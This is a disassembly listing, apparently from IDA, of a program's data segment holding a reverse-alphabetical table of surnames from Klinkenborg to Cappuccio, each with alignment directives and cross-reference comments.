aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: seg002:00434B30o
aKling		db 'Kling',0            ; DATA XREF: seg002:00434B2Co
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: seg002:00434B28o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: seg002:00434B24o
aKleiman	db 'Kleiman',0          ; DATA XREF: seg002:00434B20o
aKleckner	db 'Kleckner',0         ; DATA XREF: seg002:00434B1Co
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: seg002:00434B18o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: seg002:00434B14o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: seg002:00434B10o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: seg002:00434B0Co
aKindall	db 'Kindall',0          ; DATA XREF: seg002:00434B08o
aKimura		db 'Kimura',0           ; DATA XREF: seg002:00434B04o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: seg002:00434B00o
aKimmel		db 'Kimmel',0           ; DATA XREF: seg002:00434AFCo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: seg002:00434AF8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: seg002:00434AF4o
		align 10h
aKerry_0	db 'Kerry',0            ; DATA XREF: seg002:00434AF0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: seg002:00434AECo
aKemsley	db 'Kemsley',0          ; DATA XREF: seg002:00434AE8o
aKempton	db 'Kempton',0          ; DATA XREF: seg002:00434AE4o
aKelsey		db 'Kelsey',0           ; DATA XREF: seg002:00434AE0o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: seg002:00434ADCo
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: seg002:00434AD8o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: seg002:00434AD4o
aKeenan		db 'Keenan',0           ; DATA XREF: seg002:00434AD0o
		align 4
aKee		db 'Kee',0              ; DATA XREF: seg002:00434ACCo
aKawachi	db 'Kawachi',0          ; DATA XREF: seg002:00434AC8o
aKasten		db 'Kasten',0           ; DATA XREF: seg002:00434AC4o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: seg002:00434AC0o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: seg002:00434ABCo
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: seg002:00434AB8o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: seg002:00434AB4o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: seg002:00434AB0o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: seg002:00434AACo
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: seg002:00434AA8o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: seg002:00434AA4o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: seg002:00434AA0o
aKafadar	db 'Kafadar',0          ; DATA XREF: seg002:00434A9Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: seg002:00434A98o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: seg002:00434A94o
aJulious	db 'Julious',0          ; DATA XREF: seg002:00434A90o
aJuliano	db 'Juliano',0          ; DATA XREF: seg002:00434A8Co
aJucks		db 'Jucks',0            ; DATA XREF: seg002:00434A88o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: seg002:00434A84o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: seg002:00434A80o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: seg002:00434A7Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: seg002:00434A78o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: seg002:00434A74o
aJewett		db 'Jewett',0           ; DATA XREF: seg002:00434A70o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: seg002:00434A6Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: seg002:00434A68o
aJellis		db 'Jellis',0           ; DATA XREF: seg002:00434A64o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: seg002:00434A60o
aJay		db 'Jay',0              ; DATA XREF: seg002:00434A5Co
aJarrell	db 'Jarrell',0          ; DATA XREF: seg002:00434A58o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: seg002:00434A54o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: seg002:00434A50o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: seg002:00434A4Co
		align 4
aJain		db 'Jain',0             ; DATA XREF: seg002:00434A48o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: seg002:00434A44o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: seg002:00434A40o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: seg002:00434A3Co
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: seg002:00434A38o
aJacenko	db 'Jacenko',0          ; DATA XREF: seg002:00434A34o
aIyer		db 'Iyer',0             ; DATA XREF: seg002:00434A30o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: seg002:00434A2Co
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: seg002:00434A28o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: seg002:00434A24o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: seg002:00434A20o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: seg002:00434A1Co
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: seg002:00434A18o
aIgarashi	db 'Igarashi',0         ; DATA XREF: seg002:00434A14o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: seg002:00434A10o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: seg002:00434A0Co
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: seg002:00434A08o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: seg002:00434A04o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: seg002:00434A00o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: seg002:004349FCo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: seg002:004349F8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: seg002:004349F4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: seg002:004349F0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: seg002:004349ECo
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: seg002:004349E8o
aHoward		db 'Howard',0           ; DATA XREF: seg002:004349E4o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: seg002:004349E0o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: seg002:004349DCo
aHoshida	db 'Hoshida',0          ; DATA XREF: seg002:004349D8o
aHorsley	db 'Horsley',0          ; DATA XREF: seg002:004349D4o
aHopkins	db 'Hopkins',0          ; DATA XREF: seg002:004349D0o
aHooker_0	db 'Hooker',0           ; DATA XREF: seg002:004349CCo
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: seg002:004349C8o
aHolway		db 'Holway',0           ; DATA XREF: seg002:004349C4o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: seg002:004349C0o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: seg002:004349BCo
aHolmes		db 'Holmes',0           ; DATA XREF: seg002:004349B8o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: seg002:004349B4o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: seg002:004349B0o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: seg002:004349ACo
aHoffer		db 'Hoffer',0           ; DATA XREF: seg002:004349A8o
		align 4
aHock		db 'Hock',0             ; DATA XREF: seg002:004349A4o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: seg002:004349A0o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: seg002:0043499Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: seg002:00434998o
		align 4
aHind		db 'Hind',0             ; DATA XREF: seg002:00434994o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: seg002:00434990o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: seg002:0043498Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: seg002:00434988o
aHester		db 'Hester',0           ; DATA XREF: seg002:00434984o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: seg002:00434980o
aHernandez	db 'Hernandez',0        ; DATA XREF: seg002:0043497Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: seg002:00434978o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: seg002:00434974o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: seg002:00434970o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: seg002:0043496Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: seg002:00434968o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: seg002:00434964o
aHeiland	db 'Heiland',0          ; DATA XREF: seg002:00434960o
aHeft		db 'Heft',0             ; DATA XREF: seg002:0043495Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: seg002:00434958o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: seg002:00434954o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: seg002:00434950o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: seg002:0043494Co
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: seg002:00434948o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: seg002:00434944o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: seg002:00434940o
aHartnett	db 'Hartnett',0         ; DATA XREF: seg002:0043493Co
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: seg002:00434938o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: seg002:00434934o
aHarrigan	db 'Harrigan',0         ; DATA XREF: seg002:00434930o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: seg002:0043492Co
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: seg002:00434928o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: seg002:00434924o
aHanssen	db 'Hanssen',0          ; DATA XREF: seg002:00434920o
aHand		db 'Hand',0             ; DATA XREF: seg002:0043491Co
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: seg002:00434918o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: seg002:00434914o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: seg002:00434910o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: seg002:0043490Co
aHallowell	db 'Hallowell',0        ; DATA XREF: seg002:00434908o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: seg002:00434904o
aHaley		db 'Haley',0            ; DATA XREF: seg002:00434900o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: seg002:004348FCo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: seg002:004348F8o
aHaar		db 'Haar',0             ; DATA XREF: seg002:004348F4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: seg002:004348F0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: seg002:004348ECo
aGunn		db 'Gunn',0             ; DATA XREF: seg002:004348E8o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: seg002:004348E4o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: seg002:004348E0o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: seg002:004348DCo
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: seg002:004348D8o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: seg002:004348D4o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: seg002:004348D0o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: seg002:004348CCo
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: seg002:004348C8o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: seg002:004348C4o
aGozzi		db 'Gozzi',0            ; DATA XREF: seg002:004348C0o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: seg002:004348BCo
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: seg002:004348B8o
		align 4
aGood_0		db 'Good',0             ; DATA XREF: seg002:004348B4o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: seg002:004348B0o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: seg002:004348ACo
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: seg002:004348A8o
aGlegg		db 'Glegg',0            ; DATA XREF: seg002:004348A4o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: seg002:004348A0o
aGist		db 'Gist',0             ; DATA XREF: seg002:0043489Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: seg002:00434898o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: seg002:00434894o
		align 4
aGili		db 'Gili',0             ; DATA XREF: seg002:00434890o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: seg002:0043488Co
aGibson_0	db 'Gibson',0           ; DATA XREF: seg002:00434888o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: seg002:00434884o
aGhorai		db 'Ghorai',0           ; DATA XREF: seg002:00434880o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: seg002:0043487Co
aGeorgi		db 'Georgi',0           ; DATA XREF: seg002:00434878o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: seg002:00434874o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: seg002:00434870o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: seg002:0043486Co
aGarman		db 'Garman',0           ; DATA XREF: seg002:00434868o
		align 4
aGarfield_0	db 'Garfield',0         ; DATA XREF: seg002:00434864o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: seg002:00434860o
aGalwey		db 'Galwey',0           ; DATA XREF: seg002:0043485Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: seg002:00434858o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: seg002:00434854o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: seg002:00434850o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: seg002:0043484Co
		align 4
aFurth		db 'Furth',0            ; DATA XREF: seg002:00434848o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: seg002:00434844o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: seg002:00434840o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: seg002:0043483Co
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: seg002:00434838o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: seg002:00434834o
aFrisken	db 'Frisken',0          ; DATA XREF: seg002:00434830o
aFriedland	db 'Friedland',0        ; DATA XREF: seg002:0043482Co
		align 4
aFried		db 'Fried',0            ; DATA XREF: seg002:00434828o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: seg002:00434824o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: seg002:00434820o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: seg002:0043481Co
		align 4
aFranz		db 'Franz',0            ; DATA XREF: seg002:00434818o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: seg002:00434814o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: seg002:00434810o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: seg002:0043480Co
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: seg002:00434808o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: seg002:00434804o
aFortes		db 'Fortes',0           ; DATA XREF: seg002:00434800o
		align 4
aForester	db 'Forester',0         ; DATA XREF: seg002:004347FCo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: seg002:004347F8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: seg002:004347F4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: seg002:004347F0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: seg002:004347ECo
aFisk		db 'Fisk',0             ; DATA XREF: seg002:004347E8o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: seg002:004347E4o
aFinnegan	db 'Finnegan',0         ; DATA XREF: seg002:004347E0o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: seg002:004347DCo
aFink		db 'Fink',0             ; DATA XREF: seg002:004347D8o
		align 4
aField_0	db 'Field',0            ; DATA XREF: seg002:004347D4o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: seg002:004347D0o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: seg002:004347CCo
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: seg002:004347C8o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: seg002:004347C4o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: seg002:004347C0o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: seg002:004347BCo
aFeldman	db 'Feldman',0          ; DATA XREF: seg002:004347B8o
aFejzo		db 'Fejzo',0            ; DATA XREF: seg002:004347B4o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: seg002:004347B0o
		align 4
aFates		db 'Fates',0            ; DATA XREF: seg002:004347ACo
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: seg002:004347A8o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: seg002:004347A4o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: seg002:004347A0o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: seg002:0043479Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: seg002:00434798o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: seg002:00434794o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: seg002:00434790o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: seg002:0043478Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: seg002:00434788o
aEverett	db 'Everett',0          ; DATA XREF: seg002:00434784o
aEuripides	db 'Euripides',0        ; DATA XREF: seg002:00434780o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: seg002:0043477Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: seg002:00434778o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: seg002:00434774o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: seg002:00434770o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: seg002:0043476Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: seg002:00434768o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: seg002:00434764o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: seg002:00434760o
aEnyeart	db 'Enyeart',0          ; DATA XREF: seg002:0043475Co
aEncinas	db 'Encinas',0          ; DATA XREF: seg002:00434758o
aElvis		db 'Elvis',0            ; DATA XREF: seg002:00434754o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: seg002:00434750o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: seg002:0043474Co
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: seg002:00434748o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: seg002:00434744o
aEdward		db 'Edward',0           ; DATA XREF: seg002:00434740o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: seg002:0043473Co
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: seg002:00434738o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: seg002:00434734o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: seg002:00434730o
aEardley	db 'Eardley',0          ; DATA XREF: seg002:0043472Co
aDwyer		db 'Dwyer',0            ; DATA XREF: seg002:00434728o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: seg002:00434724o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: seg002:00434720o
aDuffin		db 'Duffin',0           ; DATA XREF: seg002:0043471Co
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: seg002:00434718o
aDrinker	db 'Drinker',0          ; DATA XREF: seg002:00434714o
aDowsland	db 'Dowsland',0         ; DATA XREF: seg002:00434710o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: seg002:0043470Co
		align 4
aDoty		db 'Doty',0             ; DATA XREF: seg002:00434708o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: seg002:00434704o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: seg002:00434700o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: seg002:004346FCo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: seg002:004346F8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: seg002:004346F4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: seg002:004346F0o
aDoherty	db 'Doherty',0          ; DATA XREF: seg002:004346ECo
aDockery	db 'Dockery',0          ; DATA XREF: seg002:004346E8o
aDirksen	db 'Dirksen',0          ; DATA XREF: seg002:004346E4o
aDionysius	db 'Dionysius',0        ; DATA XREF: seg002:004346E0o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: seg002:004346DCo
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: seg002:004346D8o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: seg002:004346D4o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: seg002:004346D0o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: seg002:004346CCo
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: seg002:004346C8o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: seg002:004346C4o
aDesombre	db 'Desombre',0         ; DATA XREF: seg002:004346C0o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: seg002:004346BCo
aDenham		db 'Denham',0           ; DATA XREF: seg002:004346B8o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: seg002:004346B4o
aDemusz		db 'Demusz',0           ; DATA XREF: seg002:004346B0o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: seg002:004346ACo
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: seg002:004346A8o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: seg002:004346A4o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: seg002:004346A0o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: seg002:0043469Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: seg002:00434698o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: seg002:00434694o
		align 4
aDees		db 'Dees',0             ; DATA XREF: seg002:00434690o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: seg002:0043468Co
aDerousse	db 'deRousse',0         ; DATA XREF: seg002:00434688o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: seg002:00434684o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: seg002:00434680o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: seg002:0043467Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: seg002:00434678o
aDavid		db 'David',0            ; DATA XREF: seg002:00434674o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: seg002:00434670o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: seg002:0043466Co
		align 4
aDas		db 'Das',0              ; DATA XREF: seg002:00434668o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: seg002:00434664o
aDapice		db 'Dapice',0           ; DATA XREF: seg002:00434660o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: seg002:0043465Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: seg002:00434658o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: seg002:00434654o
aDaly		db 'Daly',0             ; DATA XREF: seg002:00434650o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: seg002:0043464Co
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: seg002:00434648o
aCyders		db 'Cyders',0           ; DATA XREF: seg002:00434644o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: seg002:00434640o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: seg002:0043463Co
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: seg002:00434638o
aCui		db 'Cui',0              ; DATA XREF: seg002:00434634o
aCroxton	db 'Croxton',0          ; DATA XREF: seg002:00434630o
aCroxen		db 'Croxen',0           ; DATA XREF: seg002:0043462Co
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: seg002:00434628o
aCrocker	db 'Crocker',0          ; DATA XREF: seg002:00434624o
aCrawford	db 'Crawford',0         ; DATA XREF: seg002:00434620o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: seg002:0043461Co
aCounter	db 'Counter',0          ; DATA XREF: seg002:00434618o
aCosmides	db 'Cosmides',0         ; DATA XREF: seg002:00434614o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: seg002:00434610o
aCorey		db 'Corey',0            ; DATA XREF: seg002:0043460Co
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: seg002:00434608o
aCondodina	db 'Condodina',0        ; DATA XREF: seg002:00434604o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: seg002:00434600o
aComstock	db 'Comstock',0         ; DATA XREF: seg002:004345FCo
		align 4
aCompton	db 'Compton',0          ; DATA XREF: seg002:004345F4o
					; seg002:004345F8o
aCollis		db 'Collis',0           ; DATA XREF: seg002:004345F0o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: seg002:004345ECo
aColella	db 'Colella',0          ; DATA XREF: seg002:004345E8o
aColdren	db 'Coldren',0          ; DATA XREF: seg002:004345E4o
aCoito		db 'Coito',0            ; DATA XREF: seg002:004345E0o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: seg002:004345DCo
aClow		db 'Clow',0             ; DATA XREF: seg002:004345D8o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: seg002:004345D4o
aClement	db 'Clement',0          ; DATA XREF: seg002:004345D0o
aClark		db 'Clark',0            ; DATA XREF: seg002:004345CCo
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: seg002:004345C8o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: seg002:004345C4o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: seg002:004345C0o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: seg002:004345BCo
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: seg002:004345B8o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: seg002:004345B4o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: seg002:004345B0o
		align 4
aChu		db 'Chu',0              ; DATA XREF: seg002:004345ACo
aChristopher	db 'Christopher',0      ; DATA XREF: seg002:004345A8o
aChristie	db 'Christie',0         ; DATA XREF: seg002:004345A4o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: seg002:004345A0o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: seg002:0043459Co
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: seg002:00434598o
aChinman	db 'Chinman',0          ; DATA XREF: seg002:00434594o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: seg002:00434590o
aChilds		db 'Childs',0           ; DATA XREF: seg002:0043458Co
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: seg002:00434588o
		align 4
aChien		db 'Chien',0            ; DATA XREF: seg002:00434584o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: seg002:00434580o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: seg002:0043457Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: seg002:00434578o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: seg002:00434574o
		align 4
aCharles_0	db 'Charles',0          ; DATA XREF: seg002:00434570o
aChapman	db 'Chapman',0          ; DATA XREF: seg002:0043456Co
aCerioli	db 'Cerioli',0          ; DATA XREF: seg002:00434568o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: seg002:00434564o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: seg002:00434560o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: seg002:0043455Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: seg002:00434558o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: seg002:00434554o
		align 4
aCase		db 'Case',0             ; DATA XREF: seg002:00434550o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: seg002:0043454Co
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: seg002:00434548o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: seg002:00434544o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: seg002:00434540o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: seg002:0043453Co
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: seg002:00434538o
aCarlos		db 'Carlos',0           ; DATA XREF: seg002:00434534o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: seg002:00434530o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: seg002:0043452Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: seg002:00434528o
aCapursi	db 'Capursi',0          ; DATA XREF: seg002:00434524o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: seg002:00434520o
		align 4
